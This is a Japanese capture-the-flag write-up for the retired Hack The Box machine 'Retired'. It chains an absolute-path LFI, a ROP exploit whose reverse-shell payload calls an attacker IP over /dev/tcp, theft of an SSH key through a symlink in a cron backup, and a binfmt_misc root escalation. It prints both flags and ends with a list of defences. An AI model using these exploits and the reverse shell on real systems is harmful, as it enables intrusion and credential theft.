Hack The BoxのWriteup(Retired)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Retired — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+nginx(80)
→
絶対パスLFI
readfile常時実行の設計不備
→
/proc PID総当たり
ASLR/PIEベースアドレスリーク
→
スタックBOF + ROP
pop rdi;ret → system()
→
www-data シェル
→
cron symlinkピボット
zipバックアップがsymlink参照解決
→
dev SSH
user.txt ✓
→
binfmt_misc + reg_helper
CAP_DAC_OVERRIDE悪用
→
root shell
root.txt ✓

ポートスキャン

BASH
nmap -p- --min-rate 500 -T4 10.129.227.96
nmap -sV -sC -p 22,80 10.129.227.96
RESULT
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
ℹ️
トップページがindex.php?page=default.htmlにリダイレクトされる点から、 pageパラメータがファイル選択に使われる典型的なLFI/Local File Inclusion 候補と分かる。EMUEMUという架空エミュレータとOSTRICHという 架空ゲーム機のライセンス管理サイトである。
PHASE 2

ディレクトリトラバーサル(LFI)とプロセス特定

index.php のソースを読み、設計不備を発見

BASH
curl -s '10.129.227.96?page=index.php'
RESULT
<?php
function sanitize_input($param) {
    $param1 = str_replace("../", "", $param);
    $param2 = str_replace("./", "", $param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');
}

readfile($page);
🚨
致命的な設計ミス。 $pageの先頭が英小文字でない場合 (絶対パス"/..."等)、if分岐はelseに入り リダイレクトヘッダーをセットするだけで、その後のreadfile($page)は 分岐に関わらず必ず実行される(PHPのheader()は即座にスクリプトを 停止させない)。つまりsanitize_input()による../除去を 一切経由せず、絶対パスでそのまま任意ファイルを読める。
BASH (動作確認)
curl -s '10.129.227.96?page=/etc/passwd'
RESULT
root:x:0:0:root:/root:/bin/bash
...
dev:x:1001:1001::/home/dev:/bin/bash
⚠️
重要な罠: このLFIはHTTP 302レスポンスの本文に readfile()の出力が乗る形式のため、curlのように 既定でリダイレクトを追従しないツールでないと結果を読めない。 Pythonのrequestsライブラリは既定でリダイレクトを自動追従するため、 スクリプトで自動化する場合は必ずallow_redirects=Falseを指定しないと、 LFI自体は正常動作しているのに結果が常に空になるという原因不明のバグになる。

activate_license.php のソース解析

BASH
curl -s '10.129.227.96?page=activate_license.php'
RESULT
<?php
if (isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    socket_connect($socket, '127.0.0.1', 1337);

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
ℹ️
アップロードされたファイルのバイト列を、そのままローカルの 127.0.0.1:1337 で待ち受けるソケットサーバへ転送しているだけ。 このサーバのバイナリを特定し脆弱性を探す必要がある。

/proc 総当たりでプロセスを特定しバイナリを回収

BASH
for i in $(seq 1 2000); do
  echo -n "$i: "
  curl -s "10.129.227.96?page=/proc/$i/cmdline"
  echo
done | grep -a activate_license
RESULT
403: /usr/bin/activate_license1337
BASH (バイナリとライブラリを回収)
curl -s '10.129.227.96?page=/usr/bin/activate_license' -o activate_license
curl -s '10.129.227.96?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' -o libc.so.6
file activate_license
checksec activate_license
RESULT
activate_license: ELF 64-bit LSB pie executable, x86-64 ... with debug_info, not stripped
[*] './activate_license'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
ℹ️
カナリアが無いためスタックバッファオーバーフローの標的になる。 NX有効なのでシェルコード直接実行は不可、ROP(Return-Oriented Programming)が必要。 PIE有効なのでベースアドレスをリークしないと正確なガジェットアドレスを計算できない。
PHASE 3

ASLR/PIEリーク + スタックBOF/ROPによるRCE

/proc/<PID>/maps でベースアドレスをリーク

BASH
curl -s '10.129.227.96?page=/proc/403/maps'
RESULT (抜粋)
562f2da11000-562f2da12000 r--p 00000000 08:01 2408   /usr/bin/activate_license
7f7bd2764000-7f7bd2789000 r--p 00000000 08:01 3634   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffc60f5b000-7ffc60f7c000 rw-p 00000000 00:00 0      [stack]
✅
ELFベース(0x562f2da11000)、libcベース(0x7f7bd2764000)、 スタックベース(0x7ffc60f5b000)の3つが直接取得できる。 fork()するサーバは子プロセスもASLR配置を親から継承するため、 接続の都度リークし直さずともこのアドレスは有効に使える。

ROPガジェットとsystem()オフセットを特定

BASH
ROPgadget --binary activate_license | grep ': pop rdi ; ret$'
readelf -s libc.so.6 | grep ' system@'
RESULT
0x000000000000181b : pop rdi ; ret
1430: 0000000000048e50    45 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.2.5

ペイロード構築とスタックオフセットのブルートフォース

NOTE
脆弱な関数はソケットから読んだサイズ分だけ512バイトのbufferへread()するため、
オフセット520バイト(512+8、カナリア無し)でリターンアドレスを制御できる。
system()の引数(コマンド文字列)はスタック上に置くが正確な位置が読めないため、
200バイトのスペースパディングで許容範囲を持たせ、
スタックオフセットを0x20500近傍からブルートフォースする。
PYTHON (payload構築)
import struct

def p64(x): return struct.pack("<Q", x)

pop_rdi_ret = elf_base + 0x181b
system_addr = libc_base + 0x48e50
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4447 0>&1'"

payload  = b'A' * 520
payload += p64(pop_rdi_ret)
payload += p64(stack_base + stack_offset)   # コマンド文字列の推定アドレス
payload += p64(system_addr)
payload += b' ' * 200 + cmd.encode() + b'\0'
BASH (アップロードで送信)
curl -s -X POST http://10.129.227.96/activate_license.php \
  -F "licensefile=@payload.bin"
RESULT
stack_offset = 0x20500 から128刻みでスパイラル探索 (0x20500, 0x20580, 0x20480, ...)
6回目の試行 (offset=0x20680) でリバースシェル着信
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-dataとしてシェルを確立。
PHASE 4

cronバックアップのシンボリックリンクピボット → user.txt

定期バックアップの仕組みを確認

BASH
www-data@retired:~$ ls -la /var/www
www-data@retired:~$ cat /usr/bin/webbackup
www-data@retired:~$ systemctl list-timers --all
www-data@retired:~$ cat /etc/systemd/system/website_backup.service
RESULT
-rw-r--r-- 1 dev www-data 505153 ... 2026-09-23_02-19-01-html.zip

#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
...

[Unit] OnCalendar=minutely
[Service] User=dev Group=www-data
ExecStart=/usr/bin/webbackup
🚨
横展開の糸口。 バックアップは毎分User=devで実行され、 zip --recurse-pathsは-yオプション無しの既定動作のため シンボリックリンクをデフォルトで参照解決し中身を格納する。 /var/www/html/はwww-dataから書き込み可能なので、devの秘密鍵への シンボリックリンクを置けば、devとして動くバックアップ処理がdev権限で 中身を読み平文でzipに取り込んでくれる。

シンボリックリンクを設置しバックアップを待つ

BASH
www-data@retired:~/html$ ln -sf /home/dev/.ssh/id_rsa dev_id_rsa
⚠️
設置したシンボリックリンクは(原因未特定だが)1分程度で消えることが確認できた ため、複数世代のバックアップzipすべてを毎サイクル走査し、 鍵の混入を確認でき次第即座に抽出する戦略が確実。
BASH (数分後、複数のzipを確認)
for z in /var/www/*.zip; do
  echo "== $z =="
  unzip -l "$z" | grep -c dev_id_rsa
done
RESULT
== /var/www/2026-09-23_02-22-01-html.zip ==
1
BASH (鍵を抽出)
unzip -p "/var/www/2026-09-23_02-22-01-html.zip" var/www/html/dev_id_rsa
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...
-----END OPENSSH PRIVATE KEY-----
✅
devの秘密鍵回収成功!

SSHログイン → user.txt

BASH
chmod 600 dev_id_rsa
ssh -i dev_id_rsa dev@10.129.227.96
dev@retired:~$ cat user.txt
RESULT
66002d8529db6df7fe41d8488ea9edda
user.txt — dev
66002d8529db6df7fe41d8488ea9edda
PHASE 5

binfmt_misc + reg_helper 悪用による root 昇格

EMUEMU の reg_helper を発見

BASH
dev@retired:~/emuemu$ cat README.md
dev@retired:~/emuemu$ cat reg_helper.c
dev@retired:~/emuemu$ cat Makefile
RESULT (reg_helper.c 抜粋)
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
write(fd, cmd, strnlen(cmd, sizeof(cmd)));
RESULT (Makefile 抜粋)
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
    | tee /usr/lib/binfmt.d/emuemu.conf \
    | /usr/lib/emuemu/reg_helper
🚨
権限昇格の鍵。 reg_helperには CAP_DAC_OVERRIDEケーパビリティが付与されており、 本来root権限が必要な/proc/sys/fs/binfmt_misc/registerへの書込みを DAC(ファイル権限)チェックを無視してdevユーザーのまま実行できてしまう。 つまりdevは任意の実行フォーマットをbinfmt_miscに登録し放題。

binfmt_rootkit エクスプロイトを改変

NOTE
toffan/binfmt_misc の binfmt_rootkit は、/bin配下のSUIDバイナリのマジックバイトに
一致する独自フォーマットを登録し、そのSUIDバイナリを実行させることで
カーネルに代わりの(攻撃者が用意した)インタプリタをSUID権限で起動させる。
オリジナルは register への直接書き込みを試みるが、我々は直接書き込み権限が
無いため2箇所を改変する:
  1. "not_writeable" チェックを削除 (直接は書けないが reg_helper 経由でなら書ける)
  2. `echo "$binfmt_line" > "$mountpoint"/register`
     → `echo "$binfmt_line" | /usr/lib/emuemu/reg_helper` に変更
BASH (改変版スクリプトを転送)
dev@retired:~$ chmod +x binfmt_rootkit
dev@retired:~$ ./binfmt_rootkit
RESULT
uid=0(root) euid=0(root)
# id
uid=0(root) gid=0(root)
✅
root昇格成功! スクリプトは見つけたSUIDバイナリのマジックバイトに 一致するbinfmtエントリを登録し、そのバイナリをexecすると カーネルが代わりに自作Cプログラムをroot権限で起動する。 そのプログラムはsetuid(0)後/bin/shを起動するため rootシェルが得られる。

root.txt 取得

BASH
# cat /root/root.txt
RESULT
56bb5c0d83ca4ad6c640688c1d7b56d5
root.txt
56bb5c0d83ca4ad6c640688c1d7b56d5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dev
66002d8529db6df7fe41d8488ea9edda
root.txt
56bb5c0d83ca4ad6c640688c1d7b56d5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ロジック不備による絶対パスLFI index.php の page パラメータ 任意ファイル読み取り (パスワードファイル・バイナリ・/proc情報) Critical header()呼び出し後もスクリプトが停止せずreadfile()が常に実行される設計ミスを利用し、サニタイズを経由しない絶対パス読み取りを実現
スタックバッファオーバーフロー (No Canary) activate_license バイナリの512バイト固定長buffer ROPチェーンによる任意コマンド実行 Critical アップロードファイルサイズを制御しバッファを超過させ、リークしたASLR/PIEアドレスを使い pop rdi;ret → system() の2段ROPを構築
cronバックアップのシンボリックリンク参照解決 website_backup.service (User=dev) の zip –recurse-paths devユーザー所有ファイルの内容窃取 High www-data権限で書き込み可能なディレクトリにdevの秘密鍵へのシンボリックリンクを設置し、dev権限で動く定期バックアップにより平文でzipへ取り込ませる
CAP_DAC_OVERRIDE付きヘルパー経由のbinfmt_misc悪用 /usr/lib/emuemu/reg_helper + /proc/sys/fs/binfmt_misc/register root権限奪取 Critical DACチェックを回避できるヘルパーを介し、SUIDバイナリのマジックバイトに一致する独自インタプリタを登録、そのSUIDバイナリ実行時にカーネルが代わりにroot権限でインタプリタを起動する仕組みを悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapSSH/nginx構成、ライセンス管理サイト
2LFI+プロセス特定絶対パスLFI + /proc総当たりactivate_licenseバイナリ、PID 403
3RCEASLRリーク + スタックBOF/ROPwww-dataシェル
4横展開cronバックアップのsymlinkピボットuser.txt (dev)
5権限昇格binfmt_misc + reg_helper (CAP_DAC_OVERRIDE)root.txt

学んだ教訓 & 防御策

問題点防御策
PHPのheader()呼び出し後もスクリプトが止まらず、意図しない分岐でreadfile()が実行されてしまう header()でリダイレクトする際は必ず直後にexit()/die()を呼び、それ以降のコードが実行されないことを保証する。
スタックバッファにカナリアが設定されておらず、既知サイズのバッファオーバーフローが容易に成立する コンパイル時にスタックプロテクタ(-fstack-protector-all等)を有効化する。可能ならユーザー制御サイズのread()をバッファ長でチェックする。
Web公開ディレクトリが他ユーザー(dev)からも書き込み可能な権限で共有され、cronジョブが高権限ユーザーでシンボリックリンクをそのまま辿ってしまう 定期バックアップ処理はzip -y(シンボリックリンクをリンクのまま保存)を使うか、事前にfind -type lで不審なシンボリックリンクを検出・除外してからアーカイブする。Web公開ディレクトリの書き込み権限を最小化する。
CAP_DAC_OVERRIDEのような強力なケーパビリティを付与したヘルパーバイナリが、本来root専用のカーネルインターフェース(binfmt_misc)への書き込みチェックを無条件にバイパスしてしまう ケーパビリティは必要最小限に絞り、書き込み先パスやフォーマット文字列を厳格に検証(許可リスト化)する。可能であれば専用の設定ファイル経由でのみ登録を許可し、汎用的な任意書き込みを避ける。
HackTheBox: Retired | 完全攻略レポート